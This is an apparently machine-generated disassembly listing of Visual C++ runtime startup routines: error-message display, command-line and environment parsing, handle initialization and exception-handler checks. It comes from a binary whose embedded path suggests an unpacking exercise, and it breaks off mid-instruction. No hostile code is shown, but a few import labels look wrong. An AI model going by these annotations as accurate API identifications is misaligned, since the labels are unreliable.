loc_422616 push 104h lea eax, [ebp+8Ch+var_10C] push eax push edx mov [ebp+8Ch+var_8], dl call ds:dword_4290B8 ; GetModuleFileNameA test eax, eax jnz short loc_422556 lea eax, [ebp+8Ch+var_10C] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C930 pop ecx pop ecx loc_422556: ; CODE XREF: sub_4224BB+89j lea edi, [ebp+8Ch+var_10C] mov eax, edi push eax call sub_41C350 inc eax cmp eax, 3Ch pop ecx jbe short loc_42258A mov eax, edi push eax call sub_41C350 mov edi, eax lea eax, [ebp+8Ch+var_10C] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41C5A0 add esp, 10h loc_42258A: ; CODE XREF: sub_4224BB+ABj push edi call sub_41C350 push ds:off_4338A4[esi] mov ebx, eax call sub_41C350 lea eax, [ebx+eax+1Ch] pop ecx add eax, 3 pop ecx and eax, 0FFFFFFFCh call sub_41E090 mov ebx, esp push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push ebx call sub_41C930 push edi push ebx call sub_41C940 push offset asc_42A3C0 ; "\n\n" push ebx call sub_41C940 push ds:off_4338A4[esi] push ebx call sub_41C940 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebx call sub_426724 add esp, 2Ch jmp short loc_422616 ; --------------------------------------------------------------------------- loc_4225EE: ; CODE XREF: sub_4224BB+4Ej ; sub_4224BB+5Fj push edx lea eax, [ebp+8Ch+arg_0] push eax lea esi, off_4338A4[esi] push dword ptr [esi] call sub_41C350 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_429058 ; GetStdHandle push eax call ds:dword_429104 ; WriteFile loc_422616: ; CODE XREF: sub_4224BB+40j ; sub_4224BB+6Bj ... lea esp, [ebp-8Ch] mov ecx, [ebp+8Ch+var_4] call sub_41E5BB pop edi pop esi pop ebx add ebp, 8Ch leave retn sub_4224BB endp ; =============== S U B R O U T I N E ======================================= sub_422632 proc near ; CODE XREF: sub_41DC6D+9p ; sub_41DC92+9p mov eax, ds:dword_4354F8 cmp eax, 1 jz short loc_422649 test eax, eax jnz short locret_42266A cmp ds:dword_433114, 1 jnz short locret_42266A loc_422649: ; CODE XREF: sub_422632+8j push 0FCh call sub_4224BB mov eax, ds:dword_4356D8 test eax, eax pop ecx jz short loc_42265F call eax loc_42265F: ; CODE XREF: sub_422632+29j push 0FFh call sub_4224BB pop ecx locret_42266A: ; CODE XREF: sub_422632+Cj ; sub_422632+15j retn sub_422632 endp ; =============== S U B R O U T I N E ======================================= sub_42266B proc near ; CODE XREF: start-1C1EBp push esi push edi xor edi, edi cmp ds:dword_439598, edi jnz short loc_42267C call sub_424D03 loc_42267C: ; CODE XREF: sub_42266B+Aj mov esi, ds:dword_4395C0 test esi, esi jnz short loc_42268B mov esi, offset word_42FE36 loc_42268B: ; CODE XREF: sub_42266B+19j ; sub_42266B+4Bj mov al, [esi] cmp al, 20h ja short loc_422699 test al, al jz short loc_4226C3 test edi, edi jz short loc_4226BD loc_422699: ; CODE XREF: sub_42266B+24j cmp al, 22h jnz short loc_4226A6 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_4226A6: ; CODE XREF: sub_42266B+30j movzx eax, al push eax call sub_426850 test eax, eax pop ecx jz short loc_4226B5 inc esi loc_4226B5: ; CODE XREF: sub_42266B+47j inc esi jmp short loc_42268B ; --------------------------------------------------------------------------- loc_4226B8: ; CODE XREF: sub_42266B+56j cmp al, 20h ja short loc_4226C3 inc esi loc_4226BD: ; CODE XREF: sub_42266B+2Cj mov al, [esi] test al, al jnz short loc_4226B8 loc_4226C3: ; CODE XREF: sub_42266B+28j ; sub_42266B+4Fj pop edi mov eax, esi pop esi retn sub_42266B endp ; =============== S U B R O U T I N E ======================================= sub_4226C8 proc near ; CODE XREF: start:loc_41DDE1p push ebx xor ebx, ebx cmp ds:dword_439598, ebx push esi push edi jnz short loc_4226DA call sub_424D03 loc_4226DA: ; CODE XREF: sub_4226C8+Bj mov esi, ds:dword_4354F0 xor edi, edi cmp esi, ebx jnz short loc_4226F8 jmp short loc_422718 ; --------------------------------------------------------------------------- loc_4226E8: ; CODE XREF: sub_4226C8+34j cmp al, 3Dh jz short loc_4226ED inc edi loc_4226ED: ; CODE XREF: sub_4226C8+22j push esi call sub_41C350 pop ecx lea esi, [esi+eax+1] loc_4226F8: ; CODE XREF: sub_4226C8+1Cj mov al, [esi] cmp al, bl jnz short loc_4226E8 lea eax, ds:4[edi*4] push eax call sub_41D0C4 mov edi, eax cmp edi, ebx pop ecx mov ds:dword_43567C, edi jnz short loc_42271D loc_422718: ; CODE XREF: sub_4226C8+1Ej or eax, 0FFFFFFFFh jmp short loc_422775 ; --------------------------------------------------------------------------- loc_42271D: ; CODE XREF: sub_4226C8+4Ej mov esi, ds:dword_4354F0 push ebp jmp short loc_422750 ; --------------------------------------------------------------------------- loc_422726: ; CODE XREF: sub_4226C8+8Aj push esi call sub_41C350 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_42274E push ebp call sub_41D0C4 cmp eax, ebx pop ecx mov [edi], eax jz short loc_422779 push esi push eax call sub_41C930 pop ecx pop ecx add edi, 4 loc_42274E: ; CODE XREF: sub_4226C8+6Bj add esi, ebp loc_422750: ; CODE XREF: sub_4226C8+5Cj cmp [esi], bl jnz short loc_422726 push ds:dword_4354F0 call sub_41C2DD mov ds:dword_4354F0, ebx mov [edi], ebx mov ds:dword_43958C, 1 xor eax, eax loc_422773: ; CODE XREF: sub_4226C8+C5j pop ecx pop ebp loc_422775: ; CODE XREF: sub_4226C8+53j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_422779: ; CODE XREF: sub_4226C8+78j push ds:dword_43567C call sub_41C2DD mov ds:dword_43567C, ebx or eax, 0FFFFFFFFh jmp short loc_422773 sub_4226C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42278F proc near ; CODE XREF: sub_4228FB+54p ; sub_4228FB+85p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] xor edx, edx cmp [ebp+arg_0], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_4227B2 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_4227B2: ; CODE XREF: sub_42278F+18j ; sub_42278F+65j ... cmp byte ptr [eax], 22h jnz short loc_4227C5 xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_4227F2 ; --------------------------------------------------------------------------- loc_4227C5: ; CODE XREF: sub_42278F+26j inc dword ptr [esi] test edi, edi jz short loc_4227D0 mov cl, [eax] mov [edi], cl inc edi loc_4227D0: ; CODE XREF: sub_42278F+3Aj mov cl, [eax] movzx ebx, cl inc eax test ds:byte_438221[ebx], 4 jz short loc_4227EB inc dword ptr [esi] test edi, edi jz short loc_4227EA mov bl, [eax] mov [edi], bl inc edi loc_4227EA: ; CODE XREF: sub_42278F+54j inc eax loc_4227EB: ; CODE XREF: sub_42278F+4Ej test cl, cl mov ebx, [ebp+arg_4] jz short loc_422824 loc_4227F2: ; CODE XREF: sub_42278F+34j test edx, edx jnz short loc_4227B2 cmp cl, 20h jz short loc_422800 cmp cl, 9 jnz short loc_4227B2 loc_422800: ; CODE XREF: sub_42278F+6Aj test edi, edi jz short loc_422808 mov byte ptr [edi-1], 0 loc_422808: ; CODE XREF: sub_42278F+73j ; sub_42278F+96j and [ebp+var_4], 0 loc_42280C: ; CODE XREF: sub_42278F+157j cmp byte ptr [eax], 0 jz loc_4228EB loc_422815: ; CODE XREF: sub_42278F+93j mov cl, [eax] cmp cl, 20h jz short loc_422821 cmp cl, 9 jnz short loc_422827 loc_422821: ; CODE XREF: sub_42278F+8Bj inc eax jmp short loc_422815 ; --------------------------------------------------------------------------- loc_422824: ; CODE XREF: sub_42278F+61j dec eax jmp short loc_422808 ; --------------------------------------------------------------------------- loc_422827: ; CODE XREF: sub_42278F+90j cmp byte ptr [eax], 0 jz loc_4228EB cmp [ebp+arg_0], 0 jz short loc_42283F mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_42283F: ; CODE XREF: sub_42278F+A5j inc dword ptr [ebx] loc_422841: ; CODE XREF: sub_42278F+145j xor ebx, ebx inc ebx xor edx, edx jmp short loc_42284A ; --------------------------------------------------------------------------- loc_422848: ; CODE XREF: sub_42278F+BEj inc eax inc edx loc_42284A: ; CODE XREF: sub_42278F+B7j cmp byte ptr [eax], 5Ch jz short loc_422848 cmp byte ptr [eax], 22h jnz short loc_42287A test dl, 1 jnz short loc_422878 cmp [ebp+var_4], 0 jz short loc_42286B lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_42286B mov eax, ecx jmp short loc_42286D ; --------------------------------------------------------------------------- loc_42286B: ; CODE XREF: sub_42278F+CEj ; sub_42278F+D6j xor ebx, ebx loc_42286D: ; CODE XREF: sub_42278F+DAj xor ecx, ecx cmp [ebp+var_4], ecx setz cl mov [ebp+var_4], ecx loc_422878: ; CODE XREF: sub_42278F+C8j shr edx, 1 loc_42287A: ; CODE XREF: sub_42278F+C3j test edx, edx jz short loc_42288B loc_42287E: ; CODE XREF: sub_42278F+FAj test edi, edi jz short loc_422886 mov byte ptr [edi], 5Ch inc edi loc_422886: ; CODE XREF: sub_42278F+F1j inc dword ptr [esi] dec edx jnz short loc_42287E loc_42288B: ; CODE XREF: sub_42278F+EDj mov cl, [eax] test cl, cl jz short loc_4228D9 cmp [ebp+var_4], 0 jnz short loc_4228A1 cmp cl, 20h jz short loc_4228D9 cmp cl, 9 jz short loc_4228D9 loc_4228A1: ; CODE XREF: sub_42278F+106j test ebx, ebx jz short loc_4228D3 test edi, edi jz short loc_4228C2 movzx edx, cl test ds:byte_438221[edx], 4 jz short loc_4228BB mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_4228BB: ; CODE XREF: sub_42278F+124j mov cl, [eax] mov [edi], cl inc edi jmp short loc_4228D1 ; --------------------------------------------------------------------------- loc_4228C2: ; CODE XREF: sub_42278F+118j movzx ecx, cl test ds:byte_438221[ecx], 4 jz short loc_4228D1 inc eax inc dword ptr [esi] loc_4228D1: ; CODE XREF: sub_42278F+131j ; sub_42278F+13Dj inc dword ptr [esi] loc_4228D3: ; CODE XREF: sub_42278F+114j inc eax jmp loc_422841 ; --------------------------------------------------------------------------- loc_4228D9: ; CODE XREF: sub_42278F+100j ; sub_42278F+10Bj ... test edi, edi jz short loc_4228E1 mov byte ptr [edi], 0 inc edi loc_4228E1: ; CODE XREF: sub_42278F+14Cj inc dword ptr [esi] mov ebx, [ebp+arg_4] jmp loc_42280C ; --------------------------------------------------------------------------- loc_4228EB: ; CODE XREF: sub_42278F+80j ; sub_42278F+9Bj mov eax, [ebp+arg_0] test eax, eax jz short loc_4228F5 and dword ptr [eax], 0 loc_4228F5: ; CODE XREF: sub_42278F+161j inc dword ptr [ebx] pop edi pop ebx leave retn sub_42278F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FB proc near ; CODE XREF: start-1C230p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp ds:dword_439598, edi jnz short loc_422912 call sub_424D03 loc_422912: ; CODE XREF: sub_4228FB+10j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push edi mov ds:byte_4357E4, 0 call ds:dword_4290B8 ; GetModuleFileNameA mov eax, ds:dword_4395C0 cmp eax, edi mov ds:off_43568C, esi jz short loc_422941 cmp byte ptr [eax], 0 mov ebx, eax jnz short loc_422943 loc_422941: ; CODE XREF: sub_4228FB+3Dj mov ebx, esi loc_422943: ; CODE XREF: sub_4228FB+44j lea eax, [ebp+var_4] push eax push edi lea esi, [ebp+var_8] xor ecx, ecx mov eax, ebx call sub_42278F mov esi, [ebp+var_4] mov eax, [ebp+var_8] shl esi, 2 add eax, esi push eax call sub_41D0C4 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_422973 or eax, 0FFFFFFFFh jmp short loc_422998 ; --------------------------------------------------------------------------- loc_422973: ; CODE XREF: sub_4228FB+71j lea eax, [ebp+var_4] push eax lea ecx, [esi+edi] push edi lea esi, [ebp+var_8] mov eax, ebx call sub_42278F mov eax, [ebp+var_4] dec eax pop ecx mov ds:dword_435670, eax pop ecx mov ds:dword_435674, edi xor eax, eax loc_422998: ; CODE XREF: sub_4228FB+76j pop edi pop esi pop ebx leave retn sub_4228FB endp ; =============== S U B R O U T I N E ======================================= sub_42299D proc near ; CODE XREF: start-1C23Ap var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, ds:dword_4357E8 push ebx push ebp push esi push edi mov edi, ds:dword_429048 xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_4229E6 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_4229CD mov ds:dword_4357E8, 1 jmp short loc_4229EB ; --------------------------------------------------------------------------- loc_4229CD: ; CODE XREF: sub_42299D+22j call ds:dword_4290D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4229E1 mov eax, ebp mov ds:dword_4357E8, eax jmp short loc_4229E6 ; --------------------------------------------------------------------------- loc_4229E1: ; CODE XREF: sub_42299D+39j mov eax, ds:dword_4357E8 loc_4229E6: ; CODE XREF: sub_42299D+1Aj ; sub_42299D+42j cmp eax, 1 jnz short loc_422A68 loc_4229EB: ; CODE XREF: sub_42299D+2Ej cmp esi, ebx jnz short loc_4229F7 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_422A70 loc_4229F7: ; CODE XREF: sub_42299D+50j cmp [esi], bx mov eax, esi jz short loc_422A0C loc_4229FE: ; CODE XREF: sub_42299D+66j ; sub_42299D+6Dj add eax, ebp cmp [eax], bx jnz short loc_4229FE add eax, ebp cmp [eax], bx jnz short loc_4229FE loc_422A0C: ; CODE XREF: sub_42299D+5Fj mov edi, ds:dword_429174 push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_422A5D push ebp call sub_41D0C4 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_422A5D push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_422A59 push [esp+18h+var_8] call sub_41C2DD pop ecx mov [esp+18h+var_8], ebx loc_422A59: ; CODE XREF: sub_42299D+ACj mov ebx, [esp+18h+var_8] loc_422A5D: ; CODE XREF: sub_42299D+8Cj ; sub_42299D+9Bj push esi call ds:dword_42904C ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_422AB8 ; --------------------------------------------------------------------------- loc_422A68: ; CODE XREF: sub_42299D+4Cj cmp eax, ebp jz short loc_422A74 cmp eax, ebx jz short loc_422A74 loc_422A70: ; CODE XREF: sub_42299D+58j ; sub_42299D+E1j xor eax, eax jmp short loc_422AB8 ; --------------------------------------------------------------------------- loc_422A74: ; CODE XREF: sub_42299D+CDj ; sub_42299D+D1j call ds:dword_429050 ; GetEnvironmentStrings mov esi, eax cmp esi, ebx jz short loc_422A70 cmp [esi], bl jz short loc_422A8E loc_422A84: ; CODE XREF: sub_42299D+EAj ; sub_42299D+EFj inc eax cmp [eax], bl jnz short loc_422A84 inc eax cmp [eax], bl jnz short loc_422A84 loc_422A8E: ; CODE XREF: sub_42299D+E5j sub eax, esi inc eax mov ebp, eax push ebp call sub_41D0C4 mov edi, eax cmp edi, ebx pop ecx jnz short loc_422AA4 xor edi, edi jmp short loc_422AAF ; --------------------------------------------------------------------------- loc_422AA4: ; CODE XREF: sub_42299D+101j push ebp push esi push edi call sub_41BC60 add esp, 0Ch loc_422AAF: ; CODE XREF: sub_42299D+105j push esi call ds:dword_429054 ; FreeEnvironmentStringsA mov eax, edi loc_422AB8: ; CODE XREF: sub_42299D+C9j ; sub_42299D+D5j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_42299D endp ; =============== S U B R O U T I N E ======================================= sub_422ABF proc near ; CODE XREF: start-1C256p var_48 = dword ptr -48h var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 48h push ebx mov ebx, 480h push ebx call sub_41D0C4 test eax, eax pop ecx jnz short loc_422ADB or eax, 0FFFFFFFFh jmp loc_422CB8 ; --------------------------------------------------------------------------- loc_422ADB: ; CODE XREF: sub_422ABF+12j mov ds:dword_438460, eax mov ds:dword_43844C, 20h lea ecx, [eax+480h] jmp short loc_422B10 ; --------------------------------------------------------------------------- loc_422AF2: ; CODE XREF: sub_422ABF+53j or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov ecx, ds:dword_438460 add eax, 24h add ecx, 480h loc_422B10: ; CODE XREF: sub_422ABF+31j cmp eax, ecx jb short loc_422AF2 push ebp push esi push edi lea eax, [esp+58h+var_44] push eax call ds:dword_42919C ; GetStartupInfoA cmp word ptr [esp+58h+var_14+2], 0 jz loc_422C17 mov eax, [esp+58h+var_10] test eax, eax jz loc_422C17 mov edi, [eax] lea ebp, [eax+4] lea eax, [edi+ebp] mov [esp+58h+var_48], eax mov eax, 800h cmp edi, eax jl short loc_422B51 mov edi, eax loc_422B51: ; CODE XREF: sub_422ABF+8Ej cmp ds:dword_43844C, edi jge short loc_422BA7 mov esi, offset dword_438464 loc_422B5E: ; CODE XREF: sub_422ABF+DEj push ebx call sub_41D0C4 test eax, eax pop ecx jz short loc_422BA1 add ds:dword_43844C, 20h mov [esi], eax lea ecx, [eax+480h] jmp short loc_422B90 ; --------------------------------------------------------------------------- loc_422B7A: ; CODE XREF: sub_422ABF+D3j or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov ecx, [esi] add eax, 24h add ecx, ebx loc_422B90: ; CODE XREF: sub_422ABF+B9j cmp eax, ecx jb short loc_422B7A add esi, 4 cmp ds:dword_43844C, edi jl short loc_422B5E jmp short loc_422BA7 ; --------------------------------------------------------------------------- loc_422BA1: ; CODE XREF: sub_422ABF+A8j mov edi, ds:dword_43844C loc_422BA7: ; CODE XREF: sub_422ABF+98j ; sub_422ABF+E0j xor ebx, ebx test edi, edi jle short loc_422C17 loc_422BAD: ; CODE XREF: sub_422ABF+156j mov eax, [esp+58h+var_48] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_422C0C mov cl, [ebp+0] test cl, 1 jz short loc_422C0C test cl, 8 jnz short loc_422BD0 push eax call ds:dword_42905C ; GetFileType test eax, eax jz short loc_422C0C loc_422BD0: ; CODE XREF: sub_422ABF+104j mov ecx, ebx mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] sar ecx, 5 mov ecx, ds:dword_438460[ecx*4] lea esi, [ecx+eax*4] mov eax, [esp+58h+var_48] mov eax, [eax] mov [esi], eax mov al, [ebp+0] mov [esi+4], al lea eax, [esi+0Ch] push 0FA0h push eax call sub_423F72 test eax, eax pop ecx pop ecx jz short loc_422C37 inc dword ptr [esi+8] loc_422C0C: ; CODE XREF: sub_422ABF+F7j ; sub_422ABF+FFj ... add [esp+58h+var_48], 4 inc ebx inc ebp cmp ebx, edi jl short loc_422BAD loc_422C17: ; CODE XREF: sub_422ABF+69j ; sub_422ABF+75j ... xor ebx, ebx loc_422C19: ; CODE XREF: sub_422ABF+1E2j mov ecx, ds:dword_438460 lea eax, [ebx+ebx*8] lea esi, [ecx+eax*4] cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_422C99 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_422C3C push 0FFFFFFF6h pop eax jmp short loc_422C46 ; --------------------------------------------------------------------------- loc_422C37: ; CODE XREF: sub_422ABF+148j ; sub_422ABF+1CDj or eax, 0FFFFFFFFh jmp short loc_422CB5 ; --------------------------------------------------------------------------- loc_422C3C: ; CODE XREF: sub_422ABF+171j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_422C46: ; CODE XREF: sub_422ABF+176j push eax call ds:dword_429058 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_422C93 push edi call ds:dword_42905C ; GetFileType test eax, eax jz short loc_422C93 and eax, 0FFh cmp eax, 2 mov [esi], edi jnz short loc_422C71 or byte ptr [esi+4], 40h jmp short loc_422C7A ; --------------------------------------------------------------------------- loc_422C71: ; CODE XREF: sub_422ABF+1AAj cmp eax, 3 jnz short loc_422C7A or byte ptr [esi+4], 8 loc_422C7A: ; CODE XREF: sub_422ABF+1B0j ; sub_422ABF+1B5j lea eax, [esi+0Ch] push 0FA0h push eax call sub_423F72 test eax, eax pop ecx pop ecx jz short loc_422C37 inc dword ptr [esi+8] jmp short loc_422C9D ; --------------------------------------------------------------------------- loc_422C93: ; CODE XREF: sub_422ABF+193j ; sub_422ABF+19Ej or byte ptr [esi+4], 40h jmp short loc_422C9D ; --------------------------------------------------------------------------- loc_422C99: ; CODE XREF: sub_422ABF+169j or byte ptr [esi+4], 80h loc_422C9D: ; CODE XREF: sub_422ABF+1D2j ; sub_422ABF+1D8j inc ebx cmp ebx, 3 jl loc_422C19 push ds:dword_43844C call ds:dword_429044 ; LockResource xor eax, eax loc_422CB5: ; CODE XREF: sub_422ABF+17Bj pop edi pop esi pop ebp loc_422CB8: ; CODE XREF: sub_422ABF+17j pop ebx add esp, 48h retn sub_422ABF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422CBD proc near ; CODE XREF: start:loc_41DDA2p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_42A400 call __SEH_prolog mov [ebp+var_1C], offset dword_431060 loc_422CD0: ; CODE XREF: sub_422CBD+3Cj cmp [ebp+var_1C], offset dword_431060 jnb short loc_422CFB and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_422CF1 call eax jmp short loc_422CF1 ; --------------------------------------------------------------------------- loc_422CEA: ; DATA XREF: .text:stru_42A400o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_422CEE: ; DATA XREF: .text:stru_42A400o mov esp, [ebp+ms_exc.old_esp] loc_422CF1: ; CODE XREF: sub_422CBD+27j ; sub_422CBD+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_422CD0 ; --------------------------------------------------------------------------- loc_422CFB: ; CODE XREF: sub_422CBD+1Aj call __SEH_epilog retn sub_422CBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D01 proc near ; DATA XREF: sub_41F531:loc_41F56Co var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_42A410 call __SEH_prolog mov [ebp+var_1C], offset dword_431068 loc_422D14: ; CODE XREF: sub_422D01+3Cj cmp [ebp+var_1C], offset dword_431068 jnb short loc_422D3F and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_422D35 call eax jmp short loc_422D35 ; --------------------------------------------------------------------------- loc_422D2E: ; DATA XREF: .text:stru_42A410o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_422D32: ; DATA XREF: .text:stru_42A410o mov esp, [ebp+ms_exc.old_esp] loc_422D35: ; CODE XREF: sub_422D01+27j ; sub_422D01+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_422D14 ; --------------------------------------------------------------------------- loc_422D3F: ; CODE XREF: sub_422D01+1Aj call __SEH_epilog retn sub_422D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D45 proc near ; CODE XREF: sub_41DF84+34p var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_0] mov ebx, [esi+8] test bl, 3 jnz short loc_422D73 mov eax, large fs:18h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] cmp ebx, ecx mov [ebp+var_4], ecx jb short loc_422D7A cmp ebx, [eax+4] jnb short loc_422D7A loc_422D73: ; CODE XREF: sub_422D45+11j xor eax, eax jmp loc_422F6A ; --------------------------------------------------------------------------- loc_422D7A: ; CODE XREF: sub_422D45+27j ; sub_422D45+2Cj push edi mov edi, [esi+0Ch] cmp edi, 0FFFFFFFFh jnz short loc_422D8B loc_422D83: ; CODE XREF: sub_422D45+139j ; sub_422D45+19Cj ... xor eax, eax inc eax jmp loc_422F69 ; --------------------------------------------------------------------------- loc_422D8B: ; CODE XREF: sub_422D45+3Cj xor edx, edx mov [ebp+arg_0], edx mov eax, ebx loc_422D92: ; CODE XREF: sub_422D45+6Bj mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_422DA1 cmp ecx, edx jnb loc_422EE6 loc_422DA1: ; CODE XREF: sub_422D45+52j cmp dword ptr [eax+4], 0 jz short loc_422DAA inc [ebp+arg_0] loc_422DAA: ; CODE XREF: sub_422D45+60j inc edx add eax, 0Ch cmp edx, edi jbe short loc_422D92 cmp [ebp+arg_0], 0 jz short loc_422DCC mov eax, [esi-8] cmp eax, [ebp+var_4] jb loc_422EE6 cmp eax, esi jnb loc_422EE6 loc_422DCC: ; CODE XREF: sub_422D45+71j mov eax, ds:dword_4357F0 mov edi, ebx and edi, 0FFFFF000h xor esi, esi test eax, eax jle short loc_422DF1 loc_422DDF: ; CODE XREF: sub_422D45+AAj cmp ds:dword_4357F8[esi*4], edi jz loc_422EEA inc esi cmp esi, eax jl short loc_422DDF loc_422DF1: ; CODE XREF: sub_422D45+98j push 1Ch lea eax, [ebp+var_20] push eax push ebx call ds:dword_429040 ; VirtualQuery test eax, eax jz loc_422F66 cmp [ebp+var_8], 1000000h jnz loc_422F66 test [ebp+var_C], 0CCh jz short loc_422E6F mov ecx, [ebp+var_1C] cmp word ptr [ecx], 5A4Dh jnz loc_422F66 mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz loc_422F66 cmp word ptr [eax+18h], 10Bh jnz loc_422F66 sub ebx, ecx cmp word ptr [eax+6], 0 movzx ecx, word ptr [eax+14h] lea ecx, [ecx+eax+18h] jbe loc_422F66 mov eax, [ecx+0Ch] cmp ebx, eax jb short loc_422E6F mov edx, [ecx+8] add edx, eax cmp ebx, edx jnb short loc_422E6F test byte ptr [ecx+27h], 80h jnz short loc_422EE6 loc_422E6F: ; CODE XREF: sub_422D45+D2j ; sub_422D45+119j ... push 1 push offset dword_435838 call ds:dword_429090 ; InterlockedExchange test eax, eax jnz loc_422D83 mov ecx, ds:dword_4357F0 test ecx, ecx mov edx, ecx jle short loc_422EA3 lea eax, ds:4357F4h[ecx*4] loc_422E97: ; CODE XREF: sub_422D45+15Cj cmp [eax], edi jz short loc_422EA3 dec edx sub eax, 4 test edx, edx jg short loc_422E97 loc_422EA3: ; CODE XREF: sub_422D45+149j ; sub_422D45+154j test edx, edx jnz short loc_422ED4 push 0Fh pop ebx cmp ecx, ebx jg short loc_422EB0 mov ebx, ecx loc_422EB0: ; CODE XREF: sub_422D45+167j xor edx, edx test ebx, ebx jl short loc_422EC8 loc_422EB6: ; CODE XREF: sub_422D45+181j lea eax, ds:4357F8h[edx*4] mov esi, [eax] inc edx cmp edx, ebx mov [eax], edi mov edi, esi jle short loc_422EB6 loc_422EC8: ; CODE XREF: sub_422D45+16Fj cmp ecx, 10h jge short loc_422ED4 inc ecx mov ds:dword_4357F0, ecx loc_422ED4: ; CODE XREF: sub_422D45+160j ; sub_422D45+186j push 0 push offset dword_435838 call ds:dword_429090 ; InterlockedExchange jmp loc_422D83 ; --------------------------------------------------------------------------- loc_422EE6: ; CODE XREF: sub_422D45+56j ; sub_422D45+79j ... xor eax, eax jmp short loc_422F69 ; --------------------------------------------------------------------------- loc_422EEA: ; CODE XREF: sub_422D45+A1j test esi, esi jle loc_422D83 mov ebx, ds:dword_429090 push 1 push offset dword_435838 call ebx ; InterlockedExchange test eax, eax jnz loc_422D83 cmp ds:dword_4357F8[esi*4], edi jz short loc_422F40 mov eax, ds:dword_4357F0 lea esi, [eax-1] test esi, esi jl short loc_422F2E loc_422F1E: ; CODE XREF: sub_422D45+1E3j cmp ds:dword_4357F8[esi*4], edi jz short loc_422F2A dec esi jns short loc_422F1E loc_422F2A: ; CODE XREF: sub_422D45+1E0j test esi, esi jge short loc_422F3E loc_422F2E: ; CODE XREF: sub_422D45+1D7j cmp eax, 10h jge short loc_422F39 inc eax mov ds:dword_4357F0, eax loc_422F39: ; CODE XREF: sub_422D45+1ECj lea esi, [eax-1] jmp short loc_422F40 ; --------------------------------------------------------------------------- loc_422F3E: ; CODE XREF: sub_422D45+1E7j jz short loc_422F58 loc_422F40: ; CODE XREF: sub_422D45+1CBj ; sub_422D45+1F7j xor ecx, ecx test esi, esi jl short loc_422F58 loc_422F46: ; CODE XREF: sub_422D45+211j lea eax, ds:4357F8h[ecx*4] mov edx, [eax] inc ecx cmp ecx, esi mov [eax], edi mov edi, edx jle short loc_422F46 loc_422F58: ; CODE XREF: sub_422D45:loc_422F3Ej ; sub_422D45+1FFj push 0 push offset dword_435838 call ebx ; 